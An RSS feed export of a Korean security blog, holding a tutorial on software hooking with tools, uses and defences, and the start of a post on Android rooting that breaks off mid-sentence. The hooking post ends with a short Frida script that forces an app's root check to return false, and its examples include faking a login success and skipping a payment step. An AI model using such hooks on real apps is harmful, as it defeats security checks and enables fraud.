<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>kielo in note</title>
    <link>https://brillian-ye.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Thu, 7 May 2026 22:59:27 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>ki3lo</managingEditor>
    <item>
      <title>What is Hooking?</title>
      <link>https://brillian-ye.tistory.com/34</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Hooking이란 무엇일까요?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 친구가 컵에 물을 따르려고 주방으로 걸어갑니다.&lt;br /&gt;그 순간, 당신이 부드럽게 손목을 잡고 말하죠.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;잠깐만, 이렇게 따르는 게 더 좋아.&amp;rdquo;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;그리고 컵 위치를 살짝 옮겨줍니다.&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1000000420.jpg&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;596&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TO4WP/btsPRojKDhS/Tfh665d4SgiWPwyKf4EN01/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TO4WP/btsPRojKDhS/Tfh665d4SgiWPwyKf4EN01/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TO4WP/btsPRojKDhS/Tfh665d4SgiWPwyKf4EN01/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTO4WP%2FbtsPRojKDhS%2FTfh665d4SgiWPwyKf4EN01%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;608&quot; height=&quot;352&quot; data-filename=&quot;1000000420.jpg&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;596&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물은 여전히 컵에 들어가지만, 당신이 개입한 덕분에 방향과 방식이 조금 달라진 것이죠.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 장면을 프로그램 세계로 옮겨보면 &lt;b&gt;Hooking&lt;/b&gt;입니다.&lt;br /&gt;즉, 프로그램이 원래 실행하려던 함수나 메서드의 동작을 중간에서 가로채어 우리가 원하는 방식으로 바꾸는 기술이에요.&lt;br /&gt;쉽게 말해, &amp;ldquo;&lt;b&gt;원래 가던 길에 잠깐 우회로를 만들어주는 것&lt;/b&gt;&amp;rdquo;이라고 생각하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 Hooking을 이해한다는 건, &amp;ldquo;&lt;b&gt;프로그램이 어떻게 숨 쉬는지&lt;/b&gt;&amp;rdquo; 들여다보는 능력을 갖는 것과 같습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Hooking의 종류&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1) API Hooking &amp;ndash; 운영체제와 대화 가로채기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영체제(API)는&amp;nbsp;프로그램이&amp;nbsp;&amp;ldquo;파일을&amp;nbsp;열어줘&amp;rdquo;,&amp;nbsp;&amp;ldquo;화면에&amp;nbsp;출력해줘&amp;rdquo;&amp;nbsp;같은&amp;nbsp;부탁을&amp;nbsp;하는&amp;nbsp;통로입니다.&lt;br /&gt;API&amp;nbsp;Hooking은&amp;nbsp;이&amp;nbsp;부탁이&amp;nbsp;운영체제에&amp;nbsp;도착하기&amp;nbsp;전에&amp;nbsp;잠깐&amp;nbsp;가로채서,&amp;nbsp;전화&amp;nbsp;교환원이&amp;nbsp;전화를&amp;nbsp;다른&amp;nbsp;사람에게&amp;nbsp;돌리듯&amp;nbsp;다른&amp;nbsp;곳으로&amp;nbsp;연결하는&amp;nbsp;방법입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1139&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpzwZD/btsPSPOcWlR/kvMXLoDVOGup3KyI3crC9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpzwZD/btsPSPOcWlR/kvMXLoDVOGup3KyI3crC9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpzwZD/btsPSPOcWlR/kvMXLoDVOGup3KyI3crC9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpzwZD%2FbtsPSPOcWlR%2FkvMXLoDVOGup3KyI3crC9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;329&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1139&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;파일 A를 열어줘&amp;rdquo; 요청을 &amp;ldquo;파일 B&amp;rdquo;로 바꿔 실행하기.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2) Method Hooking &amp;ndash; 메서드의 답변 바꾸기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java,&amp;nbsp;Kotlin,&amp;nbsp;Objective-C&amp;nbsp;같은&amp;nbsp;언어에서는&amp;nbsp;기능이&amp;nbsp;&amp;lsquo;메서드&amp;rsquo;라는&amp;nbsp;형태로&amp;nbsp;들어&amp;nbsp;있습니다.&lt;br /&gt;Method&amp;nbsp;Hooking은&amp;nbsp;메서드&amp;nbsp;실행&amp;nbsp;시&amp;nbsp;입력값이나&amp;nbsp;반환값을&amp;nbsp;마치&amp;nbsp;책의&amp;nbsp;결말&amp;nbsp;페이지를&amp;nbsp;다른&amp;nbsp;내용으로&amp;nbsp;갈아끼우듯&amp;nbsp;바꿔버리는&amp;nbsp;기술입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1358&quot; data-origin-height=&quot;1018&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWjXkI/btsPTD7yjHr/nAB0gt1ribKAwSzUCl6d8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWjXkI/btsPTD7yjHr/nAB0gt1ribKAwSzUCl6d8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWjXkI/btsPTD7yjHr/nAB0gt1ribKAwSzUCl6d8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWjXkI%2FbtsPTD7yjHr%2FnAB0gt1ribKAwSzUCl6d8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;457&quot; height=&quot;343&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1358&quot; data-origin-height=&quot;1018&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 실패를 강제로 &amp;lsquo;성공&amp;rsquo;으로 돌려주기.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3) Inline Hooking &amp;ndash; 코드 안에 갈림길 만들기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리에 올라간 &lt;b&gt;기계어 코드의 앞부분(함수 시작 지점)&lt;/b&gt;을 수정하여 흐름을 바꾸는 방식입니다.&lt;br /&gt;마치 길목 표지판을 바꿔, 원래 길 대신 다른 길로 보내는 것과 비슷합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1724&quot; data-origin-height=&quot;1293&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JyyyW/btsPRkhKi5W/IblTQrAbpYhkxcYwFgl0g0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JyyyW/btsPRkhKi5W/IblTQrAbpYhkxcYwFgl0g0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JyyyW/btsPRkhKi5W/IblTQrAbpYhkxcYwFgl0g0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJyyyW%2FbtsPRkhKi5W%2FIblTQrAbpYhkxcYwFgl0g0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;455&quot; height=&quot;341&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1724&quot; data-origin-height=&quot;1293&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결제&amp;nbsp;금액&amp;nbsp;차감&amp;nbsp;코드가&amp;nbsp;실행되기&amp;nbsp;전에,&amp;nbsp;바로&amp;nbsp;&amp;ldquo;통과&amp;rdquo;&amp;nbsp;시켜버리는&amp;nbsp;경우.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4) Library Hooking &amp;ndash; 라이브러리 호출 바꾸기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램은&amp;nbsp;DLL(Windows)이나&amp;nbsp;so(Linux,&amp;nbsp;Android)&amp;nbsp;같은&amp;nbsp;라이브러리에서&amp;nbsp;기능을&amp;nbsp;불러옵니다.&lt;br /&gt;Library&amp;nbsp;Hooking은&amp;nbsp;이&amp;nbsp;불러오는&amp;nbsp;순간을&amp;nbsp;가로채,&amp;nbsp;도서관&amp;nbsp;사서가&amp;nbsp;특정&amp;nbsp;책&amp;nbsp;대신&amp;nbsp;다른&amp;nbsp;책을&amp;nbsp;건네주는&amp;nbsp;것처럼&amp;nbsp;다른&amp;nbsp;코드를&amp;nbsp;실행하게&amp;nbsp;합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHl3Zc/btsPQEU3zgY/kJu6JL3xWawLg0VqobToD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHl3Zc/btsPQEU3zgY/kJu6JL3xWawLg0VqobToD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHl3Zc/btsPQEU3zgY/kJu6JL3xWawLg0VqobToD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHl3Zc%2FbtsPQEU3zgY%2FkJu6JL3xWawLg0VqobToD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;514&quot; height=&quot;386&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 로딩 라이브러리를 가로채어 항상 고양이 사진을 보여주기.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 동작 원리 &amp;ndash; &amp;lsquo;원래 길목에 새 길을 만드는 과정&amp;rsquo;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;원래 목적 설정&lt;/b&gt;&lt;br /&gt;누군가 &amp;ldquo;편의점에 가야지&amp;rdquo; 하고 길을 나섭니다. &amp;rarr; 원래 호출하려는 함수.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;2&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;길목에서 개입&lt;/b&gt;&lt;br /&gt;골목 입구에서 &amp;ldquo;잠깐, 여기 먼저 들렀다 가는 게 어때?&amp;rdquo; 하며 손목을 잡습니다. &amp;rarr; 후킹 함수로 연결 변경.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;3&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;원하는 일 수행&lt;/b&gt;&lt;br /&gt;사진을 찍게 하거나, 다른 가게에 들르게 하는 행동. &amp;rarr; 후킹 함수 내에서 원하는 작업 실행.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;4&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;원래 길로 돌려보내기 (또는 차단)&lt;/b&gt;&lt;br /&gt;일을 마치고 원래 목적지로 보내면 &amp;rarr; 원본 함수 호출,&lt;br /&gt;그냥 집으로 돌려보내면 &amp;rarr; 원본 함수 미호출.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원본 동작 &amp;rarr; 가로채기 &amp;rarr; 원하는 조작 &amp;rarr; 실행&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 대표 도구들&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;도구명&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;특징&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;활용 예시&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다운로드&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Frida&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;크로스 플랫폼&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;런타임 후킹&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;실시간 함수 가로채기, 보안 분석, 테스트&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &lt;a href=&quot;https://frida.re/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://frida.re/&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Xposed Framework&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;Android 전용 시스템 확장&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;앱 기능 수정, 모듈 기반 기능 추가&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://repo.xposed.info/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://repo.xposed.info/&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Cydia Substrate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;iOS&amp;middot;Android 모두 지원&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;탈옥&amp;middot;루팅 환경에서 앱 후킹&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;http://www.cydiasubstrate.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;http://www.cydiasubstrate.com/&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Detours&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;Microsoft API 후킹 라이브러리&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;Windows API 호출 분석&amp;middot;확장&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://github.com/microsoft/Detours&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/microsoft/Detours&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. Hooking의 활용 사례&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hooking은 칼처럼 양날을 가지고 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;b&gt;좋은 예시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;b&gt;나쁜 예시&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span&gt;디버깅 / 성능 분석&lt;/span&gt;&lt;br /&gt;&lt;span&gt;접근성 기능 추가&lt;/span&gt;&lt;br /&gt;&lt;span&gt;게임 모드 개발&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span&gt;루팅 탐지 우회&lt;/span&gt;&lt;br /&gt;&lt;span&gt;암호 입력 가로채기&lt;/span&gt;&lt;br /&gt;&lt;span&gt;결제 로직 변조&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. Hooking 방어 방법&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;코드 무결성 체크&lt;/b&gt;&lt;br /&gt;해시&amp;middot;서명 값 비교를 통해 코드가 변조되었는지 확인.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;2&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;안티 디버깅 기법&lt;/b&gt;&lt;br /&gt;디버거가 연결되면 즉시 종료하거나 동작 제한.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;3&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;메모리 영역 감시&lt;/b&gt;&lt;br /&gt;함수 시작 지점의 메모리 권한 변화, JMP 패치 여부 탐지.&lt;/li&gt;
&lt;/ol&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;4&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;런타임 환경 검증&lt;/b&gt;&lt;br /&gt;루팅&amp;middot;탈옥 여부, 후킹 도구 프로세스 존재 여부 확인.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 내용은 다음에 따로 글 작성할게요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 간단한 예시 (Frida)&lt;/h2&gt;
&lt;pre id=&quot;code_1755092959457&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Java.perform(function() {
var target = Java.use(&quot;com.example.CheckRoot&quot;);
target.isRooted.implementation = function() {
console.log(&quot;루팅 탐지 우회&quot;);
return false;
};
});&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Android 앱의 CheckRoot 클래스에서 &lt;b&gt;isRooted() 함수&lt;/b&gt; 결과를 항상 &lt;b&gt;false&lt;/b&gt;로 바꾸는 예시입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 마무리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hooking은 기술적으로 매우 매력적이지만, 악용될 경우 심각한 피해를 야기할 수 있습니다.&lt;br /&gt;보안 연구자는 &lt;b&gt;&amp;ldquo;알고 대비하는 것&amp;rdquo;&lt;/b&gt;을 목표로,&lt;br /&gt;개발자는 탐지&amp;middot;방어 기법을 설계하는 관점으로 접근해야 합니다.&lt;/p&gt;</description>
      <category>What is</category>
      <category>Hooking #Android #frida</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/34</guid>
      <comments>https://brillian-ye.tistory.com/34#entry34comment</comments>
      <pubDate>Wed, 13 Aug 2025 23:15:12 +0900</pubDate>
    </item>
    <item>
      <title>what is Rooting?</title>
      <link>https://brillian-ye.tistory.com/33</link>
      <description>&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;Rooting과 Hooking 기초 – 루팅 탐지 우회 기본편&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;0. 시작하며&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;여러분, 휴대폰 안에는 우리가 보지 못하는 보안 울타리가 있습니다.&lt;br&gt;제조사와 운영체제가 &quot;이건 건드리지 마&quot; 하고 정해놓은 영역이죠.&lt;br&gt;그런데 이 울타리를 넘어, 휴대폰 속 모든 문을 열 수 있는 ‘열쇠’를 손에 넣는다면 어떨까요?&lt;br&gt;바로 오늘 이야기의 주인공, &lt;b&gt;루팅(Rooting)&lt;/b&gt;입니다.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot;&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;1. Rooting이란?&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;루팅은 안드로이드 기기에서 루트 권한,&lt;br&gt;즉 운영체제의 ‘관리자 계정’을 얻는 걸 말합니다.&lt;br&gt;&lt;br&gt;쉽게 말해, 집 주인의 마스터 키를 쥐고&lt;br&gt;원래 잠겨 있던 방문까지 마음대로 열 수 있는 상태가 되는 거죠.&lt;br&gt;&lt;br&gt;그렇게 되면 어떤 일을 할 수 있을까요?&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;시스템 앱을 강제로 지우기&lt;/li&gt;&lt;li&gt; 제조사가 막아둔 숨겨진 설정 열기&lt;/li&gt;&lt;li&gt; 앱 데이터를 수정해서 원하는 값으로 바꾸기&lt;/li&gt;&lt;/ul&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;iPhone에서는 이런 행동을 &lt;b&gt;탈옥(Jailbreaking)&lt;/b&gt;이라고 부릅니다.&lt;br&gt;안드로이드의 루팅과 거의 같은 개념이에요.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot;&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;2. 왜 위험할까?&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;br&gt;권한이 커지면 자유도 높아지지만, 동시에 위험도 커집니다.&lt;br&gt;특히 보안에 민감한 앱 입장에서는 큰 위협이죠.&lt;br&gt;&lt;br&gt;예를 들어, 루팅된 